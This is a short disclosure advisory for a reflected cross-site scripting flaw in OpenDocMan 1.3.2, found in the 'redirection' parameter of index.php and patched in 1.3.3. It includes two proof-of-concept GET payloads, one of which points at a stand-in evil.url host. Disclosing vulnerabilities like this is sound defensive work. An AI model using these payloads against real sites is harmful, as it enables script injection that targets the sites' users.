OpenDocMan 1.3.2 Cross Site Scripting
Posted on 04 September 2015
Title: OpenDocMan 1.3.2 - Cross Site Scripting (Reflected) Disclosed: 9/2/15 Vendor Patched: Patched in version 1.3.3 Published: 9/2/15 Credit: Matt Landers - matt@mjltech.net Original Advisory: http://mjltech.net/adv/MJLTECH%20-%20OpenDocMan%201.3.2%20XSS.txt ====================================================================== Confirmed Vulnerable: OpenDocMan 1.3.2 Vendor: http://www.opendocman.com/ Description: "OpenDocMan is a free, web-based, open source document management system (DMS) written in PHP designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades." ====================================================================== Vulnerable file: index.php Vulnerable parameter: redirection Description of vulnerability: The parameter 'redirection'is vulnerable to XSS via GET request from non-authenticated user. Proof of Concept: GET http://www.xxxx.com/odm/index.php?redirection=" style="width:expression(prompt(1)); Proof of Concept: GET http://www.xxxx.com/odm/index.php?redirection="></input><img src=http://www.evil.url/hacked.jpg>
